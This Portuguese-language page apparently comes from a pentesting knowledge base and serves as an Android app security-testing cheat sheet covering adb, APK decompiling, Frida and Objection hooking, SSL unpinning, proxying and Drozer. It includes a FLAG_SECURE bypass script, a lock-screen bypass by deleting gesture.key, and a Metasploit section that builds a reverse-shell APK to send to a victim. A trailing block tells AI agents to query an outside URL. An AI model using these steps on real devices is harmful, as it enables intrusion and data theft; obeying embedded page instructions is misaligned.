# Android

### Estrutura

<table><thead><tr><th>DIRETÓRIO</th><th width="230.39014373716634">DESCRIÇÃO</th></tr></thead><tbody><tr><td><code>/system/app</code></td><td>Aplicativos padrões (nativos), como Calculadora, Galeria, Maps, etc.</td></tr><tr><td><code>/data/app-private</code></td><td>Aplicativos de terceiro. Aqui podemos encontrar as APK's, caso tenho interesse.</td></tr><tr><td><code>/data/data</code></td><td>Estrutura dos aplicativos (nativos e de terceiros). Alguns dados dos app podem ser vistos aqui, incluindo arquivos de bando de dados.</td></tr><tr><td><code>data/app/&#x3C;package.name></code></td><td>Diretório onde ficam as APK's baixadas pela Play Store</td></tr><tr><td><code>/data/local/tmp</code></td><td>Diretório onde ficam os arquivos temporários</td></tr><tr><td><code>/data/system/gesture.key</code></td><td>Arquivo responsável por gerenciar o código de desbloqueio com sequência nos pontos.</td></tr><tr><td><code>/mnt/sdcard</code></td><td>Acesso ao cartão de memória</td></tr><tr><td><code>adb exec-out screencap -p > &#x3C;output_screen.png></code></td><td>Tira print da tela e salva em arquivo</td></tr></tbody></table>

### Baixando APK

#### Maneira 1

A maneira mais prática que temos de pegar uma APK, é baixando pela play store e depois acessando o shell do android, navegando até `/data/app/<package.name>` e então baixado o `<file.apk>`. Aqui caímos em um cenário interessante... o nome do package terá um prefixo (exceto nos Androids mais antigos), então um usuário comum não consegue listar o seu nome, já que somente o root acessa o diretório `/data/app`. Porém, o arquivo apk é acesível para todos, que fica em `/data/app/<package.name>/base.apk`. Então iremos precisar fazer um macete para pegarmos essas APK's sem precisar utilizar o root.

Verificando nomes dos pacotes:

```bash
adb shell pm list packages -3 | cut -d':' -f2
```

Após termos em mãos os nomes dos pacotes, podemos pegar o caminho exato do arquivo apk (que temos acesso):

```bash
adb shell pm path '<package.name>' | cut -d':' -f2
```

Feito isso, basta baixá-lo:

```bash
adb pull '</data/app/<package.name-sufixo>/base.apk'
```

####

#### Maneira 2

Primeiro acesse o site <https://play.google.com/store>, copie o link da página do app que deseja pegar a APK e então acesse o site <https://apps.evozi.com/apk-downloader/> e informe a URL copiada.

### Armazenamento de Dados

#### Shared Prefs

Este tipo consiste em armazenar informações localmente em `/data/data/<package.name>/shared_prefs/<package.name>_preferences.xml` (o app pode criar diversos arquivos, não se limite a olhar somente esse). Supondo que o app esteja armazenando o usuário e senha dessa maneira, tais credenciais podem ser comprometidas caso um atacante tenha acesso físico ao celular.

#### SQLite

Geralmente podemos encontrar o arquivo sqlite em `/data/data/<desenvolvedor.do.app>/databases`.

### Tipos de Arquivos e Conversões

Compilando código java (converte `file.java` em `file.class`)

```bash
javac <file.java>
```

Para verificar se o arquivo está ok, basta executar o comando abaixo (não precisa do sufixo `.class`):

```bash
java <file>
```

Por padrão, o Android não executa esse tipo de arquivo, então precisamos utilizar `DVM (Dalvik Virtual Machine)`, e para isso, é necessário converter arquivo `.class` em `.dex`.

```bash
./dx --dex --output=desec.dex Desec.class
```

Para testar se está ok, faça upload desse arquivo para o Android via `adb` (pode ser em `/data/local/tmp`) e depois execute o seguinte comando:

```bash
dalvikvm -cp <file.dex> <NameFileClass>
```

Nas versões mais atuais do Android, a execução é feita através do `ART (Android Runtime)`, então é preciso converter o arquivo `.dex` em `oat`.

```bash
dex2oat --dex-file=<file.dex> --oat-file=<file.oat>
```

Também podemos converter arquivos `.java` em `.dex` e depois em `.smali`.

```bash
javac --release 7 <file.java>
dx --dex --output=<file.dex> file.class
baksmali <file.dex> -o <file>
```

### Bypass em Tela de Bloqueio

Caso tenha acesso root ao Android via `adb`, podemos resetar a senha de desbloqueio (aquela que é preciso fazer uma determinada sequencia ligando os pontos). Para isso, basta executar o comando abaixo para deletar o arquivo responsável pelo gerenciamento dessa senha.

```
rm /data/system/gesture.key
```

Feito isso, basta agora utilizar qualquer sequencia de desbloqueio, que o Android irá validar como correto.

### Android Studio

Execute antes de instalar o Android Studio, execute:

```bash
sudo apt install libz1 libncurses5 libbz2-1.0:i386 libstdc++6 libbz2-1.0
```

Após a sua execução, abra o `Android Studio`, vá no menu Tools e clique em `Create Desktop Entry`, assim não é preciso entrar no diretório via terminal e chamar diretamente o arquivo `studio.sh` toda vez.

### Emulator

Esse, assim como o `adb`,  já faz parte do pacote do Android Studio e podemos utilizá-lo para iniciarmos um Android sem precisar abrir a GUI do Android Studio, que deve ser utilizado somente para criar os dispositivos antes.

Listando dispositivos disponíveis que já foram criados através do Android Studio

```bash
./emulator -list-avds
```

Iniciando um dispositivo

```bash
./emulator @<name>
```

Fornece permissão de escrita nas pastas de sistema quando viramos root

```bash
emulator -avd <avd_name> -writeable-system
```

###

### adb

{% hint style="info" %}
**ATENÇÃO**: Sempre que for utilizar o `adb`, certifique-se de emular o Android antes, através do ./emulator `@<android>`
{% endhint %}

| COMANDO                                                  | DESCRIÇÃO                                                                                                                                 |
| -------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- |
| `adb devices`                                            | Lista os devices disponíveis                                                                                                              |
| `adb -s <device_name> shell`                             | Caso tenha mais de um device, é preciso passar o seu nome. Caso tenha somente um device, não é preciso especificar                        |
| `adb shell getprop ro.product.cpu.abi`                   | Descobrindo a arquitetura do Android                                                                                                      |
| `adb root`                                               | Reinicia o adb com permissões de root                                                                                                     |
| `adb unroot`                                             | Reinicia o adb sem permissões de root                                                                                                     |
| `adb shell`                                              | Conecta via shell no android (funciona somente quanto tem apenas 1 device)                                                                |
| `adb -e shell`                                           | Conecta via shell no android emulado (funciona somente quanto tem apenas 1 device emulado)                                                |
| `adb -d shell`                                           | Conecta via shell no android físico (funciona somente quanto tem apenas 1 device físico)                                                  |
| `adb shell <command>`                                    | Executa o comando no shell (sem entrar no modo interativo)                                                                                |
| `adb shell ps`                                           | Exibe os processos que estão em execução no Android                                                                                       |
| `adb push <file> /data/local/tmp`                        | Realiza upload de um arquivo para o tmp do Android                                                                                        |
| `adb pull </path/to/file.txt>`                           | Realiza download de um arquivo do Android para o diretório atual                                                                          |
| `adb pull </path/to/file.txt> </path/to/local/file.txt>` | Realiza download de um arquivo do Android para um diretório personalizado                                                                 |
| `adb install <file.apk>`                                 | Instala um app manualmente                                                                                                                |
| `adb uninstall package`                                  | Desinstala um app. Utilize o comando `ps` para listar o nome do package                                                                   |
| adb forward tcp:\<port> tcp:\<port>                      | Realiza um port forwarding                                                                                                                |
| `adb start-server`                                       | Inicia o serviço do adb                                                                                                                   |
| `adb kill-server`                                        | Encerra o serviço do adb. As vezes o adb trava, então é útil parar o seu serviço e iniciar novamente, isso muitas vezes corrige as falhas |

#### Package Manager

{% hint style="success" %}
**DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando `adb shell` ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa.
{% endhint %}

| COMANDO                            | DESCRIÇÃO                           |
| ---------------------------------- | ----------------------------------- |
| `adb shell pm list users`          | Lista os usuários                   |
| `adb shell pm list packages`       | Lista todos os pacote               |
| `adb shell pm list packages -s`    | Lista todos os pacotes de sistema   |
| `adb shell pm list packages -3`    | Lista todos os pacotes de terceiros |
| `adb shell pm path <package_name>` | Mostra o caminho do APK             |

#### Activity Manager

{% hint style="success" %}
**DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando **`adb shell`** ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa.
{% endhint %}

| COMANDO                                                                | DESCRIÇÃO                                   |
| ---------------------------------------------------------------------- | ------------------------------------------- |
| `am start -a android.intent.action.VIEW <http://site.com>`             | Abre o navegador já com determinada URL     |
| `am start -a android.intent.action.VIEW geo:0,0?q=<Nome+da+Empresa>`   | Procura por uma empresa no Google Maps      |
| `am start -a android.intent.action.CALL -d tel:<number>`               | Realiza uma ligação para determinado número |
| `am start -a android.intent.action.VIEW content://contacts/people`     | Abre a agenda de contatos telefônicos       |
| `am start -n com.android.music/com.android.music.MusicBrowserActivity` | Abre o player de música                     |

#### Services

{% hint style="success" %}
**DICA**: Os comandos abaixo devem ser executados após entrar na shell interativa com o comando `adb shell` ou adicione o próprio prefixo `adb shell` nos comandos abaixo para não entrar na shell interativa.
{% endhint %}

| COMANDO                                                                       | DESCRIÇÃO                          |
| ----------------------------------------------------------------------------- | ---------------------------------- |
| `am startservice -n com.android.music/com.android.music.MediaPlaybackService` | Iniciando um serviço em background |
| `am stopservice -n com.android.music/com.android.music.MediaPlaybackService`  | Finaliza um serviço em background  |

#### Broadcast Receivers

| COMANDO                                                | DESCRIÇÃO                                     |
| ------------------------------------------------------ | --------------------------------------------- |
| `am broadcast -a android.intent.action.BOOT_COMPLETED` | Exibe a mensagem (logo) quando liga o celular |

#### Content Providers

| COMANDO                                  | DESCRIÇÃO                                                                        |
| ---------------------------------------- | -------------------------------------------------------------------------------- |
| `content query --uri content://sms/sent` | Exibe no terminal todos os SMS que foram enviados e suas respectivas informações |

### &#x20;SSL Pinning / Unpinning

No final dessa página, utilize o link de download para baixar o Frida Multiple Pinning, que resolve questões de Pinning e falhas de `TrustManager`, que geralmente vem acompanhando de erros como `java.security.cert.CertPathValidatorException: Trust anchor for certification path not found` ao realizarmos uma interceptação via Burp Suite.

Podemos procurar por pontos de pinagem em código ofuscado, extraindo o código com o `apktool` e depois procurando por palavras-chave, como no exemplo abaixo:

```bash
grep -irnE -A6 'method public.*\(Ljava/lang/String;Ljava/lang/String;\)' | grep -i pin
```

#### Manual

Após decompilar  a APK com o apktool, vá na tag `application` dentro arquivo `AndroidManifest.xml` e adicione o seguinte conteúdo:

```bash
android:networkSecurityConfig="@xml/network_security_config"
```

Vá em `res/xml` e crie um arquivo chamado `network_security_config.xml`, com o seguinte conteúdo:

```bash
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
	<base-config>
		<trust-anchors>
			<certificates src="system" />
			<certificates src="user" />
		</trust-anchors>
	</base-config>
</network-security-config>
```

Compile com o apktool e em seguida crie uma auto assinatura (todos esses passos estão nessa mesma página).

### Proxy

#### Maneira 1

Essa é sem dúvidas a forma mais, pois iremos apenas criar um túnel via adb utilizando o comando abaixo. Não é preciso importar certificado do Burp nesse processo.

```bash
adb reverse tcp:8080 tcp:8080
```

Verificando os túneis que estão ativos

```bash
adb reverse --list
```

Após isso, basta ir nas configuração do Wifi e adicionar um proxy para 127.0.0.1 na porta 8080. Com isso, possívelmente já deve ser capaz de interceptar as requisições via Burp, porém em alguns cenários isso não é o suficiente, já que o firewall pode barrar esse tipo de conexão. Para resolver este cenário, acesse o Android com root e execute os seguintes comandos:

```bash
iptables -t nat -A OUTPUT -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A OUTPUT -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 8080
```

Feito isso, vá no `Burp Suite` > `Proxy` > `Options`, selecione o Listener (127.0.0.1:8080), clique em `Edit`, vá na aba `Request handling` e selecione a opção `Support invisble proxying (enable only if needed)`.

#### Maneira 2

Caso utilize algum proxy (por exemplo, o Burp Suite), utilize o comando abaixo. Lembre-se também de, alterar o proxy nas configurações de rede do próprio Android, seja editando a Rede Wifi ou a Rede Móvel (configurando o APN - Access Point Names). Configure um PIN de 4 dígitos para bloqueio de tela e importe também o certificado confiável do proxy para que possa os apps normalmente. Caso utilize o wifi em um Android Emulador, desabilite o 3G/4G.

```bash
./emulator @<name> -http-proxy <ip>:<port>
```

Outra alternativa é, alterar as configurações no menu suspenso que fica do lado do mobile, onde é possível configurar o proxy.

### Acessando como root

Ao utilizar o Android Studio e emular um novo Android, se atente ao ponto onde, imagens com o Google Play instalado não possui o root ativo, já os que não possuem o Google Play, podem ser acessados como root.

#### Maneira 1

Após iniciar o Android e acessar via `adb shell`, note que temos acesso de um usuário comum, mas podemos ter acesso root apenas digitando `su` no terminal. Se preferir, pode-se utilizar o comando `adb root` para ficar com acesso root diretamente, note que após isso, o comando `adb shell id` terá um resultado diferente.

#### Maneira 2

Outra maneira de fazermos o processo de root é executar o seguinte comando em um terminal:

```bash
./emulator -avd <android-name> -writable-system -selinux permissive -qemu -enable-kvm
```

E em outro terminal:

```bash
adb root
adb remount
adb shell
```

### Diretórios e Arquivos Importantes (APK)

#### AndroidManifest.xml

{% hint style="info" %}
**NOTA**: No final da página (na seção `sites`, há um link onde pode enviar conteúdo no `AndroidManifest.xml` e o site irá explicar cada permissão que o app está utilizando).
{% endhint %}

Este é o principal arquivo de configuração usado por todos os aplicativos Android. É usado pelo Android para obter informações sobre o aplicativo, bem como quais funcionalidades estão expostas a outros aplicativos (entre outras coisas).

Fique atento as seguintes informações:

* **package** = Nome do app
* **platformBuildVersionCode** = Versão do SDK que aplicativo foi compilado
* **android:allowBackup="true"** = É possível fazer um backup do aplicativo via `adb`
* **android:exported="true"** = Este serviço pode ser invocado por outros aplicativos
* **android.permission.SET\_DEBUG\_APP** = Caso esse recurso esteja ativo (presente no `AndroidManifest.xml`, significa que o aplicativo pode realizar debug de outros aplicativos.
* **android.permission.DUMP** = Permite que o aplicativo recupere o estado interno do sistema, permitindo recuperar uma grande variedade de informações privadas e seguras.
* **android.permission.MANAGE\_ACCOUNTS** = Permite que a aplicação permita criar e excluir contas

Um ponto importante também a ser notado, é que o podemos ver a tag `activity` no AndroidManifest.xml, e dentro dela, a tag `intent-filter` com sua respectiva `action`. Isso siginifica que essa action pode ser chamada por outros apps, ou até mesmo de forma manual, independente do app estar em execução ou não. Execute então o Activity Manager (am) para realizar tal chamada, substituindo o `<activity_android:name>` abaixo, com o valor de `android:name`, localizado na tag `activity`, porém adicionando um `/` antes do último ponto. Exemplo:

```bash
adb shell am start <activity.android/.name>
```

Podemos também chamá-lo de uma maneira diferente, passando o parâmetro `-n` para informar o `Componente` e o `-a` para informa a `Action` (valor de `android:name` dentro da tag `action`).

```bash
adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ>
```

Em alguns casos, essas actions podem/devem receber parâmetros (que não são exibidas no AndroidManifest.xml), então deve adicionar o parâmetro --ez no comando acima. Para saber quais parâmetros são esses, devemos decompilar com o apktool e ler o código-fonte e, após isso, acessar res/values/strings.xml e verificar o nome real que deve ser passado pelo adb, como no exemplo abaixo:

```bash
adb shell am start -n <activity.android/.name> -a <android.name.action.XYZ> --ez <param> <value>
```

Outro ponto importante de vermos são os respectivos donos (ID de grupo e usuário)

```bash
cd /data/data
ls -lan
dumpsys package | grep 'Package \[' -A1
```

#### res/layout/activity\_main.xml

Conteúdo em XML que contém um código fonte do frontend da aplicação.

#### res/values/strings.xml

String única que pode ser referenciada do aplicativo ou de outros arquivos de recurso (como um layout XML).

#### HardcodeActivity

Arquivo que podemos encontrar por chaves e demais valores que estão engessados no código. Caso use o apktool, este deve estar com a extensão `smali`.

#### LogActivity

Arquivo que gera saídas de log, que pode ser lida através do `adb logcat`.

### Lendo Logs em Real Time

Isso é útil para identificarmos dados sensíveis que são disponíveis nos log's.

```bash
adb shell logcat
```

{% hint style="success" %}
**DICA**: Caso queira filtrar por determiando processo, utilize o comando `ps`, e então execute o comando acima utilizando um `grep` com o PID do processo que deseja monitorar.
{% endhint %}

### Flag Secure

Aplicativos com o Flag Secure ativo, bloqueia print do app quando ele está aberto e/ou quando a janela aparece na lista de apps abertos. Também é útil para barrar ferramentas que acessam um app físico remotamente, como Vysor.

Bypass de Flag Secure. Salve o código abaixo com o nome xpl.js

```bash
Java.perform(function() {
	var surface_view = Java.use('android.view.SurfaceView');
	var set_secure = surface_view.setSecure.overload('boolean');
	set_secure.implementation = function(flag) {
		console.log("setSecure() flag called with args: " + flag);
		set_secure.call(false);
	}

	var window = Java.use('android.view.Window');
	var set_flags = window.setFlags.overload('int', 'int');
	var window_manager = Java.use('android.view.WindowManager');
	var layout_params = Java.use('android.view.WindowManager$LayoutParams');

	set_flags.implementation = function(flags, mask) {
		flags = (flags.value & ~layout_params.FLAG_SECURE.value);
		set_flags.call(this, flags, mask);
	}
});
```

Agora execute:

```bash
/path/to/frida -U -f '<package.name>' -l xpl.js --no-pause
```

{% hint style="info" %}
**NOTA**: Até o momento não existe uma maneira 100% eficaz que barre esse tipo de bypass
{% endhint %}

### Content Provider

Primeiro verifique se o `AndroidManifest.xml` possui a chave/valor `android:exported="true"` na tag `provider`, e caso seja positivo, execute o comando abaixo no código-fonte decompilado para buscar pelo `content`:

```bash
grep -irn 'content://'
```

Caso localize algo com o `grep` acima, utilize o comando abaixo para ver os seu conteúdo:

```bash
adb shell content query --uri content://<desenvolvedor.package.name.provider.provider/name>
```

### MobSF

Executando via Docker

```bash
sudo docker pull opensecurity/mobile-security-framework-mobsf
sudo docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```

### Drozer

#### Instalação

Instalando o Drozer no Android

```bash
adb install drozer.apk
```

Entre na GUI do Drozer, inicialize o serviço pelo próprio app e verifique a porta que foi aberta (geralmente é 31415).

Levando em conta que estamos utilizando a porta default (31415), vamos fazer um Port Forwarding via adb, com o seguinte comando:

```bash
adb forward tcp:31415 tcp:31415
```

Feito isso, vamos iniciar o Drozer no terminal Linux, com o comando abaixo. Adicione `--server <phone-ip>` caso não seja na mesma máquina que esteja executando o Drozer e o Android.

```bash
drozer console connect
```

#### Utilização

Lista todos os módulos disponíveis

```bash
list
```

Help

```bash
help <module>
```

Acessando Shell do dispositivo

```
shell
```

Buscando por todos os pacotes

```bash
run app.package.list
```

Informações sobre as activities do um package. Adicione `-u` no final para ver todas as activities, pois por padrão só serão exibidas as que são exportadas, pois são propensas a ataques.

```bash
run app.activity.info -a <package>
```

Chamando uma activity

```bash
run app.activity.start --component <package> <activity>
```

Buscando por todos os pacotes, porém utilizando um filtro pelo nome

```bash
run app.package.list -f <name>
```

Informações sobre o pacote

```bash
run app.package.info -a <package>
```

Exibindo o AndroidManifest.xml

```bash
run app.package.manifest <package>
```

Examina a superfície de ataques do pacote instalado

```bash
run app.package.attacksurface <package>
```

Procura por Providers que podem ser executadas via query

```bash
run scanner.provider.finduris -a <package>
```

###

### Decompilando APK

#### apktool

Baixe a APK que deseja decompilar, vá no terminal e execute o comando abaixo. Caso não especifique a saída, será utilizado o diretório local.

```bash
apktool d <nome_de_saida> -o </caminho/completo/file.apk>
```

Disassemble sem o `resources`

```bash
apktool -r d <file.apk> -o <output> 
```

Em alguns casos, é melhor baixar o apktool.jar e executá-lo, pois o que vem nativo no Kali as vezes pode apresentar alguns erros. Verifique no final dessa página a URL para download.  Nesse caso, como se tratar de um arquivo `.jar`, precisamos executá-lo da seguinte forma:

```bash
java -jar apktool.jar d <file.apk> -o <output>
```

#### &#x20;Smali / BakSmali

Se executar o comando abaixo e não especificar o output, irá ser criado um diretório chamado `out`,  onde irá conter os arquivos com extensão smali.

```
java -jar baksmali.jar d <file.apk> -o <output_dir>
```

\
unzip

Outra maneira de descompactarmos uma apk (o resultado poderá diferente do comando anterior), é utilizando o `unzip`:

```bash
unzip <file.apk>
```

#### jadx

Extraindo arquivo com extensão .java

```
jadx </path/file.apk> -d <output_dir>
```

Abrindo apk em modo gráfico (IDE) em real time

```
jadx-gui </path/file.apk>
```

Além fazer essa extração de `.apk` para `.java`, o `jadx-gui` também consegue abrir arquivos `.apk` e ler o seu conteúdo, decompilando em tempo de execução.

#### enjarify

Instalação

```bash
sudo apt install enjarify
```

Converte `.apk` em `.jar`

```bash
enjarify <file.apk> -o <file_output.jar>
```

###

### Pós Decompilação

#### Arquivos dex

As vezes ao desmontarmos uma APK, podemos ter arquivos de classes com extensão `dex`. Para lermos esses arquivos, temos que converter esse arquivo em `jar` e então, descompactarmos ele com o `unzip`.

```bash
d2j-dex2jar <file.dex>
unzip <file-dex2har.jar>
```

{% hint style="success" %}
**OBSERVAÇÃO**: Também é possível fazer esse processo direto no `<file.apk>`, através do comando `d2j-dex2jar <file.apk> -o <output_file.zip>` e depois unzip `<output_file.zip>.`
{% endhint %}

#### Lendo Arquivos class

O comando abaixo irá fazer uma cópia do arquivo `.class` para o diretório atual, com a extensão `.jad` (legível)

```bash
jad <file.class>
```

Caso tenha acesso ao GUI, utilize o comando abaixo para abrir uma ferramenta em modo gráfico:

```bash
jd-gui
```

{% hint style="info" %}
**NOTA**: o **`jd-gui`** lê mais tipos de arquivos, como: `.aar`, `.class`, `.ear`, `.jar, .java`, `.jmod,` `.log`, `.war` e `.zip`
{% endhint %}

#### Manipulando Arquivos class

Depois de montar um arquivo `.jad` a partir um arquivo `.class`, podemos manipular o código com qualquer editor. Primeiro altere a extensão de `.jad` para `.java` e então execute o seguinte comando para converter em arquivo `.java` em `.class`. Atente-se que, caso tenha um arquivo com o mesmo nome e extensão `.class`, o mesmo será sobrescrito sem perguntar se deseja fazer isso ou não.

```bash
javac <file.java>
```

Feito isso, será criado um arquivo `.class` e partir do arquivo `.java`, o que nos permite agora executá-lo diretamente.

```bash
java <file>
```

{% hint style="info" %}
**NOTA**: O comando **`java`** irá buscar automaticamente por um arquivo com extensão **`.class`**, então coloque somente o nome do arquivo.&#x20;
{% endhint %}

### Compilando APK

Agora que APK já foi modificada, basta montá-la novamente, depois assiná-la e por fim, alinhá-la.

#### apktool

```bash
apktool b <nome_do_diretório_com_codigo_extraído> -o <output.apk>
```

Se montar o APK e não definir o output, o APK estará localizado em `<nome_do_diretório_com_codigo_extraído/dist/file.apk>`.

#### smali

```bash
java -jar <smali-x.x.x.jar> assemble <output_disass> -o <classes.dex>
zip -r <output.apk> AndroidManifest.xml classes.dex res resources.arsc
```

### Certificado Auto-Assinado

Após ter montado o APK, precismos assiná-lo digitalmente para que possa ser instalado no Android. Talvez seja preciso ainda, fazer o alinhamento para que seja feito a instalação do APK com sucesso.

Gerando a chave e auto-assinando:&#x20;

```bash
keytool -genkey -v -keystore <hack.keystore> -alias <alias> -keyalg RSA -keysize 2048 -validity 10000
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore <hack.keystore> <file.apk> <alias>
```

**OBS.:** Caso dê erro `invalid entry compressed size` ao executar o `jarsigner`, execute o comando abaixo e depois use o `jarsigner` novamente:

```bash
zip -d <file.apk> META-INF/\*
```

Verificar a assinatura (geralmente encontramos o `jarsigner` no diretório do Android Studio: `./android-studio/jre/bin/jarsigner`)

```bash
jarsigner -verify -verbose -certs <file.apk>
```

Listando os certificados que tem dentro do keystore

```bash
keytool -list -v -keystore <file.keystore>
```

Exportando o certificado para ter uma melhor visualização

```bash
keytool -export -rfc -keystore <file.keystore> -alias <alias> -file <file_output.cer>
```

### Alinhamento do APK (Align)

Esse procedimento é realizado após compilar a APK e auto assiná-la. Isso é importante, pois em alguns casos não é possível instalar a APK mesmo depois de auto assinar.

Geralmente encontramos o `zipalign` em `./Android/Sdk/build-tools/<version>/zipalign`.

```bash
zipalign -v 4 <file.apk> <final.apk>
```

### Frida

Tem muitas dependências, então caso dê pau, utilize outras versões. De preferência, utilize a partir da 15.0.0. O recomendado é utilizar a mesma versão no Frida Server (Android) e no Frida Client (Computador).

{% hint style="info" %}
**IMPORTANTE:** Antes de realizar o procedimento abaixo para instalar, certifique-se de baixar o frida para a arquitetura correta do Android. Verifique como fazer isso na seção acima de `adb`.
{% endhint %}

#### Instalando Frida Client (computador)

Certifique-se de que o python está na versão 3

```bash
pip install frida-tools
# ou 
python -m pip install frida-tools
```

#### Instalando Frida Server (android emulado)

Baixe e descompacte o `frida.xz`, envie para o Android em `/data/local/tmp/` e dê a permissão com o seguinte comando:

```bash
chmod +x /data/local/tmp/<frida-server>
```

#### Instalando Frida Server (android físico)

Baixe e descompacte o `frida.xz`, envie para o Android em `/data/local/tmp/`. Para dar permissão de execução, utilize um dos comandos abaixo:

```bash
adb shell su -c chmod +x /data/local/tmp/<frida-server>
adb shell su 0 chmod +x /data/local/tmp/<frida-server>
```

#### Executando (android emulado)

```bash
adb root
adb shell chmod +x /data/local/tmp/<frida-server>
adb shell /data/local/tmp/<frida-server> &
```

####

#### Executando (android físico)

Execute um dos comandos abaixo:

```bash
adb shell su -c /data/local/tmp/frida-server &
adb shell su 0 /data/local/tmp/frida-server &
```

####

#### Utilização

Verificando aplicativos que estão em execução no Android

```bash
frida-ps -U
```

Tunelamento / Proxy

```bash
adb reverse tcp:8080 tcp:8080
</path/to/frida> -U -f <package.name> -l <unpinning.js> --no-pause
```

###

### Objection

Trabalha em cima do Frida, porém de uma forma mais automatizada, então certifique-se de executar o Frida Server (Android) antes de utilizar o Objection.

#### Instalação

Certifique-se de que o python está na versão 3

```bash
pip install objection
python -m pip install objection
```

#### Utilização

Conectando no android a abrindo um app (execute o frida server antes)

```bash
objection --gadget <package.name> explore
```

Verificando variáveis de ambiente

```bash
env
```

Executando comandos no SO

```bash
android shell_exec <command>
```

Importando script do Frida

```bash
import </path/to/frida>
```

Versão do Frida

```bash
frida
```

Baixando arquivo

```bash
file download </path/android/file> .
```

Upload de arquivo

```bash
file upload <file> </path/android> 
```

Tirando print da tela (somente se o app estiver em primeiro plano)

```bash
android ui screenshot <output_file>
```

Listando as Activities

```bash
android hooking list activities
```

Listando os Services

```bash
android hooking list services
```

Listando os Receivers

```bash
android hooking list receivers
```

Verificando qual a Activity que está sendo exibida no exato momento na aplicação. Ao alterar de tela no app, verifique que o comando abaixo irá mudar a resposta, exibindo a respectiva Activity no momento

```bash
android hooking get current_activity
```

Abrindo uma Activity

```bash
android intent launch_activity <package.name>.<activity>
```

Exibe todas as classes que são carregadas na aplicação

```bash
android hooking list classes
```

Semelhante ao comando anterior, porém este irá trazer somente as classes de um detereminado app. Note que o resultado irá trazer o nome (caminho) completo dessa classe, porém nos próximos comandos, utilize somente o final (o que está após o último ponto final) do resultado

```bash
android hooking search classes <package.name>
```

Pegando os métodos de uma determinada classe de um determinado app

```bash
android hooking search methods <package.name> <class>
```

Verificando os parâmetros que um determinado método possui

```bash
android hooking list class_methods <package.name>.<class>
```

Pegando um exemplo de Hooking. Depois de ver o resultado, altere a linha comentada com um `console.log("Texto aqui");` e salve em um arquivo `.js`. Após isso, execute e verifique se a mensagem foi exibida com sucesso no terminal do Objection, materializando assim que o Hooking teve êxito. Note que, ao realizar o comando abaixo, será gerado um script com todos os métodos da classe MainActivity, então limpe/apague o código dos métodos que não for utilizar. Abaixo estamos utilizando o `MainActivity`, mas altere para a classe que deseja atacar.

```bash
# Gerando Hooking JS
android hooking generate simple <package.name>.<MainActivity>

# Executando o Hooking
frida-ps -U -f '<package.name>' -l <file.js> --no-pause
```

Exemplo de código que deverá ser gerado:

```bash
Java.perform(function() {
    var clazz = Java.use('<package.name>.<MainActivity>');
    clazz.onCreate.implementation = function() {

        //
	
	return clazz.onCreate.apply(this, arguments);
    }
});
```

### Super-Analyzer

Ferramenta via terminal que exporta um HTML com vulnerabilidades encontradas.

```bash
super-analyzer <file.apk>
```

Após o termino da execução do comando acima, leia o arquivo situado em `./results/owasp.mstg./index.html`.

### ClassyShark

Ferramenta desenvolvida em Java que permite ler código-fonte de APK.

#### Iniciando o ClassyShark

```bash
java -jar ClassyShark.jar
```

###

### AATP2 (Android Asset Packaging Tool)

O AAPT2 (Android Asset Packaging Tool) é uma ferramenta de compilação que o Android Studio e o Plug-in do Android para Gradle usam para compilar e empacotar recursos de apps. O AAPT2 analisa, indexa e compila os recursos em um formato binário que é otimizado para a plataforma Android. Apesar de vermos o AAPT2 sendo utilizada em conjuntos com outras ferramentas, também podemos utilizá-la separadamente via terminal.

#### Verificando permissões do APK

Este na verdade irá ler o `AndroidManifest.xml` e extrair as devidas informações.

```bash
aapt dump permissions sample-expense-manager.apk
```

### Lendo Arquivos ab

Arquivos com extensão `.ab` são usados para fazer backup. Para ver o seu conteúdo, execute:

```bash
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 <file.ab> ) |  tar xfvz -
```

### Invadindo Android com Metasploit

```bash
msfconsole
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> R > <virus.apk>
use multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LPORT <port>
exploit
```

Agora envie o arquivo gerado  para a vítima e, assim que ele executar a APK, irá entrar no Meterpreter

### Sites

```bash
# Download do apktool
https://github.com/iBotPeaches/Apktool/releases

# Site para baixar APK
https://apkcombo.com/pt/

# Frida Multiple Unpinning
https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/

# Fridantiroot
https://codeshare.frida.re/@dzonerzy/fridantiroot/

# Site para saber o que significa cada permissão do AndroidManifest.xml
http://androidpermissions.com/

# Detalhes sobre o AndroidManifest.xml
https://developer.android.com/guide/topics/manifest/manifest-intro

# Frida
https://github.com/frida/frida/releases/

# Proxiando Android com Burp Suite
https://portswigger.net/support/configuring-an-android-device-to-work-with-burp

# Baksmali e Smali - Baixe os arquivos baksmali-x.x.x.jar e smali-x.x.x.jar
https://bitbucket.org/JesusFreke/smali/downloads/
https://gitlab.com/kalilinux/packages/smali

# Enjarify - Converte um arquivo .apk em uma .jar
https://github.com/google/enjarify

# Jython - Executa um Java dentro ou do Python ou vice-versa
https://www.jython.org
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/mobile/android.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.